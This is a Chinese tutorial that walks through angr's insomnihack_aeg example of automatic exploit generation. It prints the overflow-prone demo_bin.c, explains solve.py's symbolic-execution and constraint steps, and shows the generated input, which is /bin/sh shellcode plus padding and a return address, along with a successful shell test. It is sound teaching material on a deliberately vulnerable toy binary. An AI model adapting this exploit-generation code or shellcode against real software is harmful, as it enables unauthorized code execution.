基于 angr 的漏洞利用自动生成之缓冲区溢出案例分析前言 本文将结合 angr 官方提供的示例 insomnihack_aeg 展示基于 angr 的简单自动利用生成,分析各个步骤并介绍相关接口。通过阅读本文,可以对 angr 和简单 AEG 有进一步的认识。
相关源文件在 insomnihack_aeg 中。
demo_bin 为二进制程序,demo_bin.c 为源代码,solve.py 是自动生成 exploit 的脚本
程序分析 首先分析一下程序源代码 demo_bin.c ,该程序有一个明显缓冲区溢出。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char component_name[128] = {0}; #buffer 大小为 128
typedef struct component {
char name[32]; # length 只有 32,小于 128
int (*do_something)(int arg);
} comp_t;
int sample_func(int x) {
printf(" - %s - recieved argument %d\n", component_name, x);
}
comp_t *initialize_component(char *cmp_name) {
int i = 0;
comp_t *cmp;
cmp = malloc(sizeof(struct component));
cmp->do_something = sample_func;
printf("Copying component name...\n");
while (*cmp_name)
cmp->name[i++] = *cmp_name++; # 缓冲区溢出
cmp->name[i] = '\0';
return cmp;
}
int main(void)
{
comp_t *cmp;
printf("Component Name:\n");
read(0, component_name, sizeof component_name);
printf("Initializing component...\n");
cmp = initialize_component(component_name);
printf("Running component...\n");
cmp->do_something(1); # 调用函数
程序定义了结构体 component,包含两个成员变量,char 类型的 name, 长度为 32,还有函数指针 do_something。另外,定义了全局变量 component_name,长度为 128。通过 read 函数读取数据到 component_name 中,再拷贝到结构体的 name 中,此时会造成堆溢出,可以覆盖函数指针。
利用思路 该例子不考虑其他安全机制,可以直接在缓冲区存放 shellcode, 再修改函数指针为指向 shellcode 的地址,即可实现利用。
人工构造比较简单,接下来我们结合该程序分析自动利用的过程。
自动利用生成 常规上,自动利用生成分为以下几个步骤
- 漏洞挖掘:通过符号执行探索程序路径,判断是否符合漏洞约束。通过该步骤,到达可利用状态或发生 Crash
- 可利用状态或 crash 分析:分析此时寄存器状态,内存布局
- 设置利用约束:根据漏洞利用技术设定约束
- 约束求解,生成 exploit:主要针对输入值进行求解
接下来我们结合 solve.py 脚本进行解读。
首先初始化项目
p = angr.Project(binary)
binary_name = os.path.basename(binary)
extras = {so.REVERSE_MEMORY_NAME_MAP, so.TRACK_ACTION_HISTORY} # 设置 State 的选项
es = p.factory.entry_state(add_options=extras)# 获得从入口点运行的 State
sm = p.factory.simulation_manager(es, save_unconstrained=True) # 初始化simulation_manager
指定 save_unconstrained 选项为true,保存 无约束状态,存储在 unconstrained stash 中。
angr 中对于 unconstrained 状态的描述:
with the instruction pointer controlled by user data or some other source of symbolic data。
此外获得入口点状态时设置了 REVERSE_MEMORY_NAME_MAP 和 TRACK_ACTION_HISTORY选项。
- REVERSE_MEMORY_NAME_MAP: 保留内存地址的信息
Maintain a mapping from symbolic variable name to which addresses it is present in, required for memory.replace_all
- TRACK_ACTION_HISTORY: 记录模拟执行状态的 ACTION
track the history of actions through a path (multiple states).
漏洞挖掘及状态分析# find a bug giving us control of PC
l.info("looking for vulnerability in '%s'", binary_name)
exploitable_state = None
while exploitable_state is None:
print(sm)
sm.step() # Step a stash of states forward and categorize the successors appropriately.
if len(sm.unconstrained) > 0: # 找到未约束状态
l.info("found some unconstrained states, checking exploitability")
for u in sm.unconstrained:
if fully_symbolic(u, u.regs.pc): #判断是否为可利用状态
exploitable_state = u #获得可利用状态
break
# no exploitable state found, drop them
sm.drop(stash='unconstrained') #删除 unconstrained stash 中的状态
def fully_symbolic(state, variable): # 判断 state 的 variable 是否为符号化
'''
check if a symbolic variable is completely symbolic
'''
for i in range(state.arch.bits): #总共需要判断 arch.bits 位
if not state.solver.symbolic(variable[i]): # 判断variable[i]是否为符号化
return False
return True
初始化项目之后,我们获得 SM(Simulation Managers),不断调用 sm.step() 进行路径探索以找到无约束(unconstrained)状态,继而判断无约束状态是否可利用,即判断寄存器 pc 是否为符号值。若是,这代表我们可以控劫持控制流,该状态可利用,跳出循环。如果未约束状态无法利用,则调用 drop 接口移除状态,继续调用 sm.step()探索路径。
关于 step() 和 drop() 接口:
step(stash='active', n=None, selector_func=None, step_func=None, successor_func=None, until=None, filter_func=None, **run_args) #单步执行 stash 中的 state, 默认 active
Step a stash of states forward and categorize the successors appropriately.
The parameters to this function allow you to control everything about the stepping and categorization process.
drop(filter_func=None, stash='active') #移除stash 中的 state, 默认为 active
Drops states from a stash. This is an alias for move(), with defaults for the stashes.
完成漏洞挖掘后,获得可利用状态 ep。
ep = exploitable_state
assert ep.solver.symbolic(ep.regs.pc), "PC must be symbolic at this point"
构造利用约束 获得可利用状态后,我们根据利用技术构造利用约束,判断该状态是否满足。
首先调用 find_symbolic_buffer 获得 symbolic buffer 列表
def find_symbolic_buffer(state, length): # 获得 symbolic buffer 列表。
'''
dumb implementation of find_symbolic_buffer, looks for a buffer in memory under the user's
control
'''
# get all the symbolic bytes from stdin
stdin = state.posix.stdin
sym_addrs = [ ]
for _, symbol in state.solver.get_variables('file', stdin.ident):
sym_addrs.extend(state.memory.addrs_for_name(next(iter(symbol.variables))))
for addr in sym_addrs:
if check_continuity(addr, sym_addrs, length):
yield addr
state.solver.get_variables() 获得内存中的符号变量。
get_variables(*keys)
Iterate over all variables for which their tracking key is a prefix of the values provided.
Elements are a tuple, the first element is the full tracking key, the second is the symbol.
state.memory.addrs_for_name() 返回包含符号变量的内存地址。
addrs_for_name(n)
Returns addresses that contain expressions that contain a variable named n.
state.posix.stdin为传入程序的全部符号变量
def check_continuity(address, addresses, length): # 检查一段连续的地址空间是否为符号化
'''
dumb way of checking if the region at 'address' contains 'length' amount of controlled
memory.
'''
for i in range(length):
if not address + i in addresses:
return False
return True
获得 symolic_buffer 思路思路:找出所有的符号地址,存在 sym_addrs 数组中,遍历数组中每一个地址 addr,判断与该地址相邻的地址是否在 sym_addrs 数组中。即[addr,addr+length] 区间的每个地址是否都在 sym_addrs 中,如是,则为一段连续的符号化空间,即 symbolic buffer。
# keep checking if buffers can hold our shellcode
for buf_addr in find_symbolic_buffer(ep, len(shellcode)): # 调用 find_symbolic_buffer 获得 symbolic buffer
l.info("found symbolic buffer at %#x", buf_addr)
memory = ep.memory.load(buf_addr, len(shellcode)) # 获取 buffer
sc_bvv = ep.solver.BVV(shellcode) #将 shellcode 转成 bitvector 类型
# check satisfiability of placing shellcode into the address
if ep.satisfiable(extra_constraints=(memory == sc_bvv,ep.regs.pc == buf_addr)):
l.info("found buffer for shellcode, completing exploit")
ep.add_constraints(memory == sc_bvv) # 约束 1
l.info("pointing pc towards shellcode buffer")
ep.add_constraints(ep.regs.pc == buf_addr) # 约束 2
break
else:
l.warning("couldn't find a symbolic buffer for our shellcode! exiting...")
return 1
获得 symbolic buffer 列表后,判断其中的 buffer 是否满足利用约束,如果可以满足,则添加约束到 ep(可利用状态) ,最后进行约束求解。这里漏洞利用约束有两个:
- 缓冲区可以存放 shellcode (memory == sc_bvv)
- pc 值可以指向 buffer 地址(ep.regs.pc == buf_addr)
约束求解,生成 exploitfilename = '%s-exploit' % binary_name
with open(filename, 'wb') as f:
f.write(ep.posix.dumps(0))
print("%s exploit in %s" % (binary_name, filename))
print("run with `(cat %s; cat -) | %s`" % (filename, binary))
return 0
posix.dumps(0) 即使用对标准输入(文件描述符为 0)进行约束求解,获得满足约束的输入值。
posix.dumps(0) 相当于:
my_stdin_file = my_state.posix.files[0] #stdin file descriptor
all_my_bytes = my_stdin_file.all_bytes() #all bytes in file
myBytesString = my_path.se.eval(all_my_bytes,cast_to=str) #Solve bytes, convert to string
最后会获得 demo_bin-exploit 文件,包含可以成功利用程序的输入。
测试 可以调用脚本的 test() 函数, 测试是否成功生成利用
assert subprocess.check_output('(cat ./demo_bin-exploit; echo echo BUMO) | ./demo_bin', shell=True) == b'BUMO\n'
运行 接下来,我们可以看一下脚本的运行过程
python solve.py demo_bin 运行脚本
或者使用 ipdb 进行调试
python -m ipdb solve.py demo_bin
调试命令与 gdb 类似,b 设置断点,c 继续运行,n 单步运行,s 步进
ipdb> c
<SimulationManager with 1 active>
> /home/angr/angr-doc/examples/insomnihack_aeg/solve.py(70)main()
68 print(sm)
69 sm.step()
2--> 70 if len(sm.unconstrained) > 0:
6 71 l.info("found some unconstrained states, checking exploitability")
72 for u in sm.unconstrained:
我们查看 sm 中的状态,@ 后面为当前状态 eip 的值,即 state.regs.eip
ipdb> sm.active
[<SimState @ 0xc000048>, <SimState @ 0xc000048>, <SimState @ 0x80485a2>, <SimState @ 0x80484ce>, <SimState @ 0x90512d0>, <SimState @ 0x8048360>, <SimState @ 0x80484ad>, <SimState @ 0x8048592>, <SimState @ 0x9067b40>, <SimState @ 0x8048380>, <SimState @ 0x8048582>, <SimState @ 0x8048529>, <SimState @ 0x8048504>]
ipdb> sm.deadended #deadended 存储无法继续执行的 state.
[<SimState @ 0xc000048>, <SimState @ 0xc000048>, <SimState @ 0xc000048>]
ipdb> sm.active[0]
<SimState @ 0xc000048>
找到 unconstrained 状态:
ipdb> l
66 exploitable_state = None
67 while exploitable_state is None:
68 print(sm)
69 sm.step()
70 if len(sm.unconstrained) > 0:
6--> 71 l.info("found some unconstrained states, checking exploitability")
72 for u in sm.unconstrained:
3 73 if fully_symbolic(u, u.regs.pc):
74 exploitable_state = u
75 break
76
ipdb> sm.unconstrained
[<SimState @ <BV32 0x800 .. packet_0_stdin_81_1024[759:752] .. packet_0_stdin_81_1024[767:760]>>]
步进 fully_symbolic 函数,
> /home/angr/angr-doc/examples/insomnihack_aeg/solve.py(20)fully_symbolic()
18 '''
19
---> 20 for i in range(state.arch.bits):
21 if not state.solver.symbolic(variable[i]):
22 return False
ipdb> variable
<BV32 0x800 .. packet_0_stdin_81_1024[759:752] .. packet_0_stdin_81_1024[767:760]>
到达可利用的状态,输出查看,BV32 Reverse(packet_0_stdin_81_1024[767:736]) 为 eip 的值,完全符号化。
80 l.info("found a state which looks exploitable")
4 81 ep = exploitable_state
82
---> 83 assert ep.solver.symbolic(ep.regs.pc), "PC must be symbolic at this point"
84
85 l.info("attempting to create exploit based off state")
86
87 # keep checking if buffers can hold our shellcode
88 for buf_addr in find_symbolic_buffer(ep, len(shellcode)):
ipdb> ep
<SimState @ <BV32 Reverse(packet_0_stdin_81_1024[767:736])>>
接下来,获得 symbolic buffer, 访问 memory,设定利用约束
> /home/angr/angr-doc/examples/insomnihack_aeg/solve.py(91)main()
89 l.info("found symbolic buffer at %#x", buf_addr)
5 90 memory = ep.memory.load(buf_addr, len(shellcode))
---> 91 sc_bvv = ep.solver.BVV(shellcode)
92
93 # check satisfiability of placing shellcode into the address
ipdb> memory
<BV176 packet_0_stdin_81_1024[1023:848]>
输出获得 buffer 地址为 0x804a060
ipdb> hex(buf_addr)
'0x804a060'
在 IDA 中查看,发现 0x804A060 为 component_name 地址。
.bss:0804A060 component_name db ? ; ; DATA XREF: sample_func+D↑o
.bss:0804A060 ; main+1D↑o ...
.bss:0804A061 db ? ;
.bss:0804A062 db ? ;
.bss:0804A063 db ? ;
.bss:0804A064 db ? ;
.bss:0804A065 db ? ;
最后运行到约束求解。获得 exploit 部分,输出查看
ipdb> ep.posix.dumps(0)
b'jhh///sh/bin\x89\xe31\xc9j\x0bX\x99\xcd\x80\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01`\xa0\x04\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
我们可以看到生成的 exploit 内容,即 shellcode+padding+shellcode_addr
从而达到覆盖 do_something 函数指针为 shellcode 地址的目的。
验证 exploit(angr) angr@f6839fc38468:~/angr-doc/examples/insomnihack_aeg$ (cat ./demo_bin-exploit; echo BUMO) | ./demo_bin # 获得 shell 后执行命令 echo BUMO
Component Name:
Initializing component...
Copying component name...
Running component...
- BUMO #可以输出 BUMO
- recieved argument 1
将 demo_bin-exploit 中的内容传给 demo_bin 程序即可 getshell,使用 echo BUMO 进行测试,发现成功进行利用。
总结 本文章结合官方示例粗略地展示了简单 AEG 的利用过程。该用例是简单的缓冲区溢出,首先通过符号执行获得未约束状态,再通过判断指令寄存器 pc 值来确定该状态是否可利用,寄存器pc为符号值代表可以劫持控制流。获得可利用状态后,构造利用约束,判断状态的可满足性,最后进行约束求解,生成 exploit。
如何根据漏洞类型恰当地设置路径约束/漏洞约束,探索程序crash/可利用状态。并结合漏洞利用技术构造利用约束是解决此类问题的关键。
参考资料
|